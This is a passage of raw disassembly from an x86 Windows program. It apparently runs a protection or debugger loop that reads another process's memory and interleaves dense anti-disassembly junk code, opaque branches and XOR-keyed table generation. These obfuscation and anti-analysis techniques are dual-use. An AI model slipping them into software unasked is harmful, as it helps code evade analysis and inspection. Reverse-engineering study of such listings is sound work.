eax, 0B7h ; CODE XREF: .text:loc_4BB9CBj jnz short loc_4BB971 mov byte ptr [ebp-1AA9h], 0 mov dword ptr [ebp-4], 0FFFFFFFFh mov al, [ebp-1AA9h] jmp loc_4BC14E ; --------------------------------------------------------------------------- loc_4BB971: ; CODE XREF: .text:004BB956j mov dword ptr [ebp-0A34h], 10002h mov ecx, dword_4F4750 mov edx, [ecx+4] push edx call dword_4ED0F0 ; ResumeThread jmp short loc_4BB9AD ; --------------------------------------------------------------------------- loc_4BB98D: ; CODE XREF: .text:004BB903j mov eax, [ebp-0A30h] mov ecx, [eax+10h] push ecx call dword_4ED0E8 ; CloseHandle mov edx, [ebp-0A30h] mov eax, [edx+14h] push eax call dword_4ED0E8 ; CloseHandle loc_4BB9AD: ; CODE XREF: .text:004BB98Bj pusha xor eax, eax jnz short loc_4BB9B4 jmp short loc_4BB9C9 ; --------------------------------------------------------------------------- loc_4BB9B4: ; CODE XREF: .text:004BB9B0j jmp short loc_4BB9E9 ; --------------------------------------------------------------------------- dw 75C0h ; --------------------------------------------------------------------------- sbb [edx+0Ch], bh loc_4BB9BB: ; CODE XREF: .text:loc_4BB9C9j jo short loc_4BB9CB jmp short near ptr loc_4BB9CB+1 ; --------------------------------------------------------------------------- db 0E8h dd 0F1790E72h, 790015FFh db 9 ; --------------------------------------------------------------------------- loc_4BB9C9: ; CODE XREF: .text:004BB9B2j jz short loc_4BB9BB loc_4BB9CB: ; CODE XREF: .text:loc_4BB9BBj ; .text:004BB9BDj jmp short near ptr loc_4BB951+3 ; --------------------------------------------------------------------------- db 0DBh, 7Ah, 0F0h dd 0E86133A0h, 0FFFFC95Dh, 0FF25h, 0FC08500h, 41984h, 7C077000h db 3 ; --------------------------------------------------------------------------- loc_4BB9E9: ; CODE XREF: .text:loc_4BB9B4j ; .text:004BB9ECj ... jmp short loc_4BB9F0 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- jz short loc_4BB9E9 jmp short loc_4BB9E9 ; --------------------------------------------------------------------------- loc_4BB9F0: ; CODE XREF: .text:loc_4BB9E9j mov dword ptr [ebp-14C4h], 0 jmp short loc_4BBA0B ; --------------------------------------------------------------------------- loc_4BB9FC: ; CODE XREF: .text:004BBDADj mov ecx, [ebp-14C4h] add ecx, 1 mov [ebp-14C4h], ecx loc_4BBA0B: ; CODE XREF: .text:004BB9FAj mov edx, dword_4F4768 shl edx, 4 cmp [ebp-14C4h], edx jge loc_4BBDB2 mov dword ptr [ebp-1A60h], 100h mov eax, [ebp-24h] cdq mov ecx, 2710h idiv ecx mov [ebp-1A54h], eax mov eax, [ebp-24h] cdq mov ecx, 2710h idiv ecx mov [ebp-1A50h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1A5Ch], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1A58h], edx mov ecx, [ebp-1A50h] imul ecx, [ebp-1A58h] mov edx, [ebp-1A54h] imul edx, [ebp-1A58h] mov eax, [ebp-1A50h] imul eax, [ebp-1A5Ch] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp-24h], edx mov eax, [ebp-24h] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-1A60h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-1A4Ch], eax mov dword ptr [ebp-1A74h], 100h mov eax, [ebp-24h] cdq mov ecx, 2710h idiv ecx mov [ebp-1A68h], eax mov eax, [ebp-24h] cdq mov ecx, 2710h idiv ecx mov [ebp-1A64h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1A70h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1A6Ch], edx mov ecx, [ebp-1A64h] imul ecx, [ebp-1A6Ch] mov edx, [ebp-1A68h] imul edx, [ebp-1A6Ch] mov eax, [ebp-1A64h] imul eax, [ebp-1A70h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp-24h], edx mov eax, [ebp-24h] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-1A74h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-1A40h], eax mov dword ptr [ebp-1A88h], 100h mov eax, [ebp-24h] cdq mov ecx, 2710h idiv ecx mov [ebp-1A7Ch], eax mov eax, [ebp-24h] cdq mov ecx, 2710h idiv ecx mov [ebp-1A78h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1A84h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1A80h], edx mov ecx, [ebp-1A78h] imul ecx, [ebp-1A80h] mov edx, [ebp-1A7Ch] imul edx, [ebp-1A80h] mov eax, [ebp-1A78h] imul eax, [ebp-1A84h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp-24h], edx mov eax, [ebp-24h] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-1A88h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-1A44h], eax mov dword ptr [ebp-1A9Ch], 100h mov eax, [ebp-24h] cdq mov ecx, 2710h idiv ecx mov [ebp-1A90h], eax mov eax, [ebp-24h] cdq mov ecx, 2710h idiv ecx mov [ebp-1A8Ch], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1A98h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1A94h], edx mov ecx, [ebp-1A8Ch] imul ecx, [ebp-1A94h] mov edx, [ebp-1A90h] imul edx, [ebp-1A94h] mov eax, [ebp-1A8Ch] imul eax, [ebp-1A98h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp-24h], edx mov eax, [ebp-24h] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-1A9Ch] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-1A48h], eax mov edx, [ebp-1A44h] shl edx, 8 mov eax, [ebp-1A40h] shl eax, 10h mov ecx, [ebp-1A4Ch] shl ecx, 18h or ecx, eax or ecx, edx or ecx, [ebp-1A48h] xor ecx, dword_4ED41C xor ecx, dword_4ED424 xor ecx, dword_4ED3EC xor ecx, dword_4ED428 xor ecx, dword_4ED3AC mov edx, [ebp-14C4h] mov eax, dword_4F474C mov [eax+edx*4], ecx jmp loc_4BB9FC ; --------------------------------------------------------------------------- loc_4BBDB2: ; CODE XREF: .text:004BBA1Aj push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BBDD5 loc_4BBDD2: ; CODE XREF: .text:004BBDF3j jmp short near ptr loc_4BBDF5+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BBDD5: ; CODE XREF: .text:004BBDD0j xor ebx, ebx jz short $+2 jmp short loc_4BBDE8 ; --------------------------------------------------------------------------- db 0B8h db 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BBDDE: ; CODE XREF: .text:004BBDEAj mov ecx, 34F9C987h nop stc jz short loc_4BBDEC ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BBDE8: ; CODE XREF: .text:004BBDD9j xor eax, eax jz short loc_4BBDDE loc_4BBDEC: ; CODE XREF: .text:004BBDE5j mov eax, 4840C987h test eax, eax jnz short loc_4BBDD2 loc_4BBDF5: ; CODE XREF: .text:loc_4BBDD2j jmp near ptr 92B25B5Bh ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax jmp loc_4BC095 ; --------------------------------------------------------------------------- loc_4BBE03: ; CODE XREF: .text:004BB8F3j mov ecx, [ebp-0A30h] cmp dword ptr [ecx], 6 jnz loc_4BC08B push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BBE35 loc_4BBE32: ; CODE XREF: .text:004BBE53j jmp short near ptr loc_4BBE55+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BBE35: ; CODE XREF: .text:004BBE30j xor ebx, ebx jz short $+2 jmp short loc_4BBE48 ; --------------------------------------------------------------------------- db 0B8h db 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BBE3E: ; CODE XREF: .text:004BBE4Aj mov ecx, 34F9C987h nop stc jz short loc_4BBE4C ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BBE48: ; CODE XREF: .text:004BBE39j xor eax, eax jz short loc_4BBE3E loc_4BBE4C: ; CODE XREF: .text:004BBE45j mov eax, 4840C987h test eax, eax jnz short loc_4BBE32 loc_4BBE55: ; CODE XREF: .text:loc_4BBE32j jmp near ptr 92B25BBBh ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov dl, byte_4F4120 mov [ebp-18D8h], dl mov ecx, 40h xor eax, eax lea edi, [ebp-18D7h] rep stosd stosw stosb mov al, byte_4F4120 mov [ebp-15C8h], al mov ecx, 40h xor eax, eax lea edi, [ebp-15C7h] rep stosd stosw stosb mov ecx, [ebp-0A30h] ; CODE XREF: .text:loc_4BBF15j mov edx, [ecx+1Ch] mov [ebp-17D4h], edx cmp dword ptr [ebp-17D4h], 0 jz loc_4BC07B push 0 push 4 lea eax, [ebp-17D4h] push eax mov ecx, [ebp-17D4h] push ecx mov edx, dword_4F4750 mov eax, [edx] push eax call dword_4ED0D0 ; ReadProcessMemory cmp dword ptr [ebp-17D4h], 0 jz loc_4BC07B mov ecx, [ebp-0A30h] xor edx, edx mov dx, [ecx+20h] test edx, edx jz loc_4BBFC7 pusha xor eax, eax jnz short loc_4BBEFE jmp short loc_4BBF13 ; --------------------------------------------------------------------------- loc_4BBEFE: ; CODE XREF: .text:004BBEFAj jmp short loc_4BBF33 ; --------------------------------------------------------------------------- dd 7A1875C0h db 0Ch ; --------------------------------------------------------------------------- loc_4BBF05: ; CODE XREF: .text:loc_4BBF13j jo short loc_4BBF15 jmp short near ptr loc_4BBF15+1 ; --------------------------------------------------------------------------- db 0E8h, 72h, 0Eh dd 15FFF179h db 0, 79h, 9 ; --------------------------------------------------------------------------- loc_4BBF13: ; CODE XREF: .text:004BBEFCj jz short loc_4BBF05 loc_4BBF15: ; CODE XREF: .text:loc_4BBF05j ; .text:004BBF07j jmp short near ptr loc_4BBE99+5 ; --------------------------------------------------------------------------- db 0DBh dd 33A0F07Ah, 68006A61h, 208h, 0E830858Dh, 8B50FFFFh, 0FFE82C8Dh ; --------------------------------------------------------------------------- call dword ptr [ecx-75h] loc_4BBF33: ; CODE XREF: .text:loc_4BBEFEj adc eax, offset dword_4F4750 mov eax, [edx] push eax call dword_4ED0D0 ; ReadProcessMemory lea ecx, [ebp-17D0h] mov [ebp-18DCh], ecx push offset aUnicode ; "(Unicode) " lea edx, [ebp-18D8h] push edx call _strcpy_0 add esp, 8 jo short loc_4BBF6A jl short loc_4BBF68 loc_4BBF65: ; CODE XREF: .text:loc_4BBF68j ; .text:loc_4BBF6Aj jmp short loc_4BBF6C ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BBF68: ; CODE XREF: .text:004BBF63j jz short loc_4BBF65 loc_4BBF6A: ; CODE XREF: .text:004BBF61j jmp short loc_4BBF65 ; --------------------------------------------------------------------------- loc_4BBF6C: ; CODE XREF: .text:loc_4BBF65j push 0 lea eax, [ebp-18D8h] loc_4BBF74: ; CODE XREF: .text:004BBFE2j push eax call _strchr_0 add esp, 8 mov [ebp-18E0h], eax loc_4BBF83: ; CODE XREF: .text:004BBFC0j mov ecx, [ebp-18DCh] xor edx, edx mov dx, [ecx] test edx, edx jz short loc_4BBFC2 mov eax, [ebp-18E0h] mov ecx, [ebp-18DCh] mov dl, [ecx] mov [eax], dl mov eax, [ebp-18E0h] add eax, 1 mov [ebp-18E0h], eax mov ecx, [ebp-18DCh] add ecx, 2 mov [ebp-18DCh], ecx jmp short loc_4BBF83 ; --------------------------------------------------------------------------- loc_4BBFC2: ; CODE XREF: .text:004BBF90j jmp loc_4BC07B ; --------------------------------------------------------------------------- loc_4BBFC7: ; CODE XREF: .text:004BBEF1j push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BBFFE ; CODE XREF: .text:loc_4BBFFEj ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BBFD6: ; CODE XREF: .text:004BBFF7j jmp short loc_4BBFF5 ; --------------------------------------------------------------------------- loc_4BBFD8: ; CODE XREF: .text:loc_4BBFF5j xor ecx, ecx loc_4BBFDA: ; CODE XREF: .text:004BBFE9j jz short $+2 jmp short loc_4BBFEE ; --------------------------------------------------------------------------- loc_4BBFDE: ; CODE XREF: .text:004BBFF2j stc xor ecx, 3 jz short loc_4BBF74 jmp short loc_4BBFEB ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BBFE7: ; CODE XREF: .text:loc_4BBFEBj jmp short loc_4BBFF9 ; --------------------------------------------------------------------------- jz short loc_4BBFDA loc_4BBFEB: ; CODE XREF: .text:004BBFE4j jnb short loc_4BBFE7 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BBFEE: ; CODE XREF: .text:004BBFDCj sbb bl, bl xor ebx, ebx jmp short loc_4BBFDE ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BBFF5: ; CODE XREF: .text:loc_4BBFD6j jmp short loc_4BBFD8 ; --------------------------------------------------------------------------- jmp short loc_4BBFD6 ; --------------------------------------------------------------------------- loc_4BBFF9: ; CODE XREF: .text:loc_4BBFE7j repne sbb al, 0DBh jmp short loc_4BC001 ; --------------------------------------------------------------------------- loc_4BBFFE: ; CODE XREF: .text:004BBFD1j jmp short near ptr loc_4BBFD1+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BC001: ; CODE XREF: .text:004BBFFCj popa popf bswap eax not ecx bswap eax not ecx push 0 push 104h lea edx, [ebp-18D8h] push edx mov eax, [ebp-17D4h] push eax mov ecx, dword_4F4750 mov edx, [ecx] push edx call dword_4ED0D0 ; ReadProcessMemory push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BC052 loc_4BC04F: ; CODE XREF: .text:004BC070j jmp short near ptr loc_4BC072+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BC052: ; CODE XREF: .text:004BC04Dj xor ebx, ebx jz short $+2 jmp short loc_4BC065 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BC05B: ; CODE XREF: .text:004BC067j mov ecx, 34F9C987h nop stc jz short loc_4BC069 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BC065: ; CODE XREF: .text:004BC056j xor eax, eax jz short loc_4BC05B loc_4BC069: ; CODE XREF: .text:004BC062j mov eax, 4840C987h test eax, eax jnz short loc_4BC04F loc_4BC072: ; CODE XREF: .text:loc_4BC04Fj jmp near ptr 92B25DD8h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax loc_4BC07B: ; CODE XREF: .text:004BBEAFj ; .text:004BBEDDj ... mov eax, [ebp-0A30h] mov ecx, [eax+0Ch] push ecx call dword_4ED0E8 ; CloseHandle loc_4BC08B: ; CODE XREF: .text:004BBE0Cj mov dword ptr [ebp-0A34h], 10002h loc_4BC095: ; CODE XREF: .text:loc_4BB66Aj ; .text:004BB6F3j ... mov eax, [ebp-0A34h] push eax mov ecx, [ebp-0A30h] mov edx, [ecx+8] push edx mov eax, [ebp-0A30h] mov ecx, [eax+4] push ecx call dword_4ED0D8 ; ContinueDebugEvent jmp short loc_4BC0D7 ; --------------------------------------------------------------------------- push 10002h mov edx, [ebp-0A30h] mov eax, [edx+8] push eax mov ecx, [ebp-0A30h] mov edx, [ecx+4] push edx call dword_4ED0D8 ; ContinueDebugEvent loc_4BC0D7: ; CODE XREF: .text:004BC0B6j push offset dword_4F45B0 call dword_4ED1AC ; RtlLeaveCriticalSection jmp loc_4B9CCA ; --------------------------------------------------------------------------- loc_4BC0E7: ; CODE XREF: .text:004B9CE1j mov dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_4BC11F ; --------------------------------------------------------------------------- mov eax, [ebp-0E8h] and eax, 0FFh neg eax sbb eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push 64h call dword_4ED1A4 ; Sleep mov byte ptr [ebp-0E8h], 1 mov dword ptr [ebp-4], 0FFFFFFFFh ; CODE XREF: .text:004BC183j jmp loc_4B9C4E ; --------------------------------------------------------------------------- loc_4BC11F: ; CODE XREF: .text:004BC0EEj mov eax, dword_4F4764 push eax call dword_4ED0D4 ; UnmapViewOfFile mov dword_4F4764, 0 mov ecx, [ebp-104h] push ecx call dword_4ED0E8 ; CloseHandle mov dword ptr [ebp-104h], 0FFFFFFFFh mov al, 1 loc_4BC14E: ; CODE XREF: .text:004B8D08j ; .text:004B995Aj ... mov ecx, [ebp-10h] mov large fs:0, ecx ; CODE XREF: .text:loc_4BC1CAj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_4BC15F: ; CODE XREF: .text:004BA1BCp ; .text:004BA290p ... push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BC19F ; CODE XREF: .text:loc_4BC19Fj ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BC177: ; CODE XREF: .text:004BC198j jmp short loc_4BC196 ; --------------------------------------------------------------------------- loc_4BC179: ; CODE XREF: .text:loc_4BC196j xor ecx, ecx loc_4BC17B: ; CODE XREF: .text:004BC18Aj jz short $+2 jmp short loc_4BC18F ; --------------------------------------------------------------------------- loc_4BC17F: ; CODE XREF: .text:004BC193j stc xor ecx, 3 jz short near ptr loc_4BC113+2 jmp short loc_4BC18C ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BC188: ; CODE XREF: .text:loc_4BC18Cj jmp short loc_4BC19A ; --------------------------------------------------------------------------- jz short loc_4BC17B loc_4BC18C: ; CODE XREF: .text:004BC185j jnb short loc_4BC188 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BC18F: ; CODE XREF: .text:004BC17Dj sbb bl, bl xor ebx, ebx jmp short loc_4BC17F ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BC196: ; CODE XREF: .text:loc_4BC177j ; .text:004BC204j jmp short loc_4BC179 ; --------------------------------------------------------------------------- jmp short loc_4BC177 ; --------------------------------------------------------------------------- loc_4BC19A: ; CODE XREF: .text:loc_4BC188j repne sbb al, 0DBh jmp short loc_4BC1A2 ; --------------------------------------------------------------------------- loc_4BC19F: ; CODE XREF: .text:004BC172j jmp short near ptr loc_4BC172+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BC1A2: ; CODE XREF: .text:004BC19Dj popa popf bswap eax not ecx bswap eax not ecx pusha xor eax, eax jnz short loc_4BC1B3 jmp short loc_4BC1C8 ; --------------------------------------------------------------------------- loc_4BC1B3: ; CODE XREF: .text:004BC1AFj jmp short loc_4BC1E8 ; --------------------------------------------------------------------------- db 0C0h, 75h, 18h db 7Ah, 0Ch ; --------------------------------------------------------------------------- loc_4BC1BA: ; CODE XREF: .text:loc_4BC1C8j jo short loc_4BC1CA jmp short near ptr loc_4BC1CA+1 ; --------------------------------------------------------------------------- dw 72E8h dd 0FFF1790Eh, 9790015h ; --------------------------------------------------------------------------- loc_4BC1C8: ; CODE XREF: .text:004BC1B1j jz short loc_4BC1BA loc_4BC1CA: ; CODE XREF: .text:loc_4BC1BAj ; .text:004BC1BCj jmp short near ptr loc_4BC151+2 ; --------------------------------------------------------------------------- fstp tbyte ptr [edx-10h] mov al, ds:458B6133h or [ebx+4F47740Dh], cl add [ebx-1D7C7EECh], cl add [ebp-157BF02Eh], eax add eax, [eax] loc_4BC1E8: ; CODE XREF: .text:loc_4BC1B3j add [eax-9], dl ror byte ptr [edi], 1 enter 7358h, 0 pushf pusha jmp short loc_4BC220 ; CODE XREF: .text:loc_4BC220j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BC1F8: ; CODE XREF: .text:004BC219j jmp short loc_4BC217 ; --------------------------------------------------------------------------- loc_4BC1FA: ; CODE XREF: .text:loc_4BC217j xor ecx, ecx loc_4BC1FC: ; CODE XREF: .text:004BC20Bj jz short $+2 jmp short loc_4BC210 ; --------------------------------------------------------------------------- loc_4BC200: ; CODE XREF: .text:004BC214j stc xor ecx, 3 jz short loc_4BC196 jmp short loc_4BC20D ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BC209: ; CODE XREF: .text:loc_4BC20Dj jmp short loc_4BC21B ; --------------------------------------------------------------------------- jz short loc_4BC1FC loc_4BC20D: ; CODE XREF: .text:004BC206j jnb short loc_4BC209 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BC210: ; CODE XREF: .text:004BC1FEj sbb bl, bl xor ebx, ebx jmp short loc_4BC200 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BC217: ; CODE XREF: .text:loc_4BC1F8j jmp short loc_4BC1FA ; --------------------------------------------------------------------------- jmp short loc_4BC1F8 ; --------------------------------------------------------------------------- loc_4BC21B: ; CODE XREF: .text:loc_4BC209j repne sbb al, 0DBh jmp short loc_4BC223 ; --------------------------------------------------------------------------- loc_4BC220: ; CODE XREF: .text:004BC1F3j jmp short near ptr loc_4BC1F3+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BC223: ; CODE XREF: .text:004BC21Ej popa popf bswap eax not ecx bswap eax not ecx mov eax, [ebp+10h] and eax, 0FFh test eax, eax jz loc_4BC3E7 jo short loc_4BC246 jl short loc_4BC244 loc_4BC241: ; CODE XREF: .text:loc_4BC244j ; .text:loc_4BC246j jmp short loc_4BC248 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BC244: ; CODE XREF: .text:004BC23Fj jz short loc_4BC241 loc_4BC246: ; CODE XREF: .text:004BC23Dj jmp short loc_4BC241 ; --------------------------------------------------------------------------- loc_4BC248: ; CODE XREF: .text:loc_4BC241j push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BC26B loc_4BC268: ; CODE XREF: .text:004BC289j jmp short near ptr loc_4BC28B+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BC26B: ; CODE XREF: .text:004BC266j xor ebx, ebx jz short $+2 jmp short loc_4BC27E ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BC274: ; CODE XREF: .text:004BC280j mov ecx, 34F9C987h nop stc jz short loc_4BC282 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BC27E: ; CODE XREF: .text:004BC26Fj xor eax, eax jz short loc_4BC274 loc_4BC282: ; CODE XREF: .text:004BC27Bj mov eax, 4840C987h test eax, eax jnz short loc_4BC268 loc_4BC28B: ; CODE XREF: .text:loc_4BC268j jmp near ptr 92B25FF1h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov dword ptr [ebp-8], 0 mov ecx, dword_4F4770 mov [ebp-4], ecx jmp short loc_4BC2B8 ; --------------------------------------------------------------------------- loc_4BC2A6: ; CODE XREF: .text:loc_4BC2CFj mov edx, [ebp-8] add edx, 1 mov [ebp-8], edx mov eax, [ebp-4] add eax, 4 mov [ebp-4], eax loc_4BC2B8: ; CODE XREF: .text:004BC2A4j mov ecx, [ebp-8] cmp ecx, dword_4F476C jge short loc_4BC2D1 mov edx, [ebp-4] mov eax, [edx] cmp eax, [ebp+8] jnz short loc_4BC2CF jmp short loc_4BC2D1 ; --------------------------------------------------------------------------- loc_4BC2CF: ; CODE XREF: .text:004BC2CBj jmp short loc_4BC2A6 ; --------------------------------------------------------------------------- loc_4BC2D1: ; CODE XREF: .text:004BC2C1j ; .text:004BC2CDj push ecx bswap ecx not ecx push eax not eax ; --------------------------------------------------------------------------- db 0B8h, 6Dh, 69h db 65h ; --------------------------------------------------------------------------- loc_4BC2DD: ; CODE XREF: .text:loc_4BC354j insb xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BC2F4 loc_4BC2F1: ; CODE XREF: .text:004BC312j jmp short near ptr loc_4BC314+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BC2F4: ; CODE XREF: .text:004BC2EFj xor ebx, ebx jz short $+2 jmp short loc_4BC307 ; --------------------------------------------------------------------------- dw 0EBB8h db 0Fh ; --------------------------------------------------------------------------- loc_4BC2FD: ; CODE XREF: .text:004BC309j mov ecx, 34F9C987h nop stc jz short loc_4BC30B ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BC307: ; CODE XREF: .text:004BC2F8j xor eax, eax jz short loc_4BC2FD loc_4BC30B: ; CODE XREF: .text:004BC304j mov eax, 4840C987h test eax, eax jnz short loc_4BC2F1 loc_4BC314: ; CODE XREF: .text:loc_4BC2F1j jmp near ptr 92B2607Ah ; --------------------------------------------------------------------------- db 66h, 92h, 8Bh dd 0F87D83C0h, 0AE8E0F00h, 8B000000h ; --------------------------------------------------------------------------- loc_4BC328: ; CODE XREF: .text:004BC396j dec ebp clc cmp ecx, dword_4F476C jge loc_4BC3D5 pusha xor eax, eax jnz short loc_4BC33D jmp short loc_4BC352 ; --------------------------------------------------------------------------- loc_4BC33D: ; CODE XREF: .text:004BC339j jmp short loc_4BC372 ; --------------------------------------------------------------------------- db 0C0h dd 0C7A1875h ; --------------------------------------------------------------------------- loc_4BC344: ; CODE XREF: .text:loc_4BC352j jo short loc_4BC354 jmp short near ptr loc_4BC354+1 ; --------------------------------------------------------------------------- dd 790E72E8h, 15FFF1h ; --------------------------------------------------------------------------- jns short loc_4BC35B loc_4BC352: ; CODE XREF: .text:004BC33Bj jz short loc_4BC344 loc_4BC354: ; CODE XREF: .text:loc_4BC344j ; .text:004BC346j jmp short loc_4BC2DD ; --------------------------------------------------------------------------- dw 7ADBh db 0F0h, 0A0h, 33h ; --------------------------------------------------------------------------- loc_4BC35B: ; CODE XREF: .text:004BC350j popa mov edx, [ebp-8] shl edx, 2 push edx mov eax, dword_4F4770 push eax mov ecx, dword_4F4770 add ecx, 4 loc_4BC372: ; CODE XREF: .text:loc_4BC33Dj push ecx call _memcpy_2 add esp, 0Ch push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BC3B2 ; CODE XREF: .text:loc_4BC3B2j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BC38A: ; CODE XREF: .text:004BC3ABj jmp short loc_4BC3A9 ; --------------------------------------------------------------------------- loc_4BC38C: ; CODE XREF: .text:loc_4BC3A9j xor ecx, ecx loc_4BC38E: ; CODE XREF: .text:004BC39Dj jz short $+2 jmp short near ptr loc_4BC3A1+1 ; --------------------------------------------------------------------------- loc_4BC392: ; CODE XREF: .text:004BC3A6j stc xor ecx, 3 jz short loc_4BC328 jmp short loc_4BC39F ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BC39B: ; CODE XREF: .text:loc_4BC39Fj jmp short loc_4BC3AD ; --------------------------------------------------------------------------- jz short loc_4BC38E loc_4BC39F: ; CODE XREF: .text:004BC398j jnb short loc_4BC39B loc_4BC3A1: ; CODE XREF: .text:loc_4BC418j ; .text:004BC390j repne sbb bl, bl xor ebx, ebx jmp short loc_4BC392 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BC3A9: ; CODE XREF: .text:loc_4BC38Aj jmp short loc_4BC38C ; --------------------------------------------------------------------------- jmp short loc_4BC38A ; --------------------------------------------------------------------------- loc_4BC3AD: ; CODE XREF: .text:loc_4BC39Bj repne sbb al, 0DBh jmp short loc_4BC3B5 ; --------------------------------------------------------------------------- loc_4BC3B2: ; CODE XREF: .text:004BC385j jmp short near ptr loc_4BC385+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BC3B5: ; CODE XREF: .text:004BC3B0j popa popf bswap eax not ecx bswap eax not ecx mov edx, dword_4F4770 mov eax, [ebp+8] mov 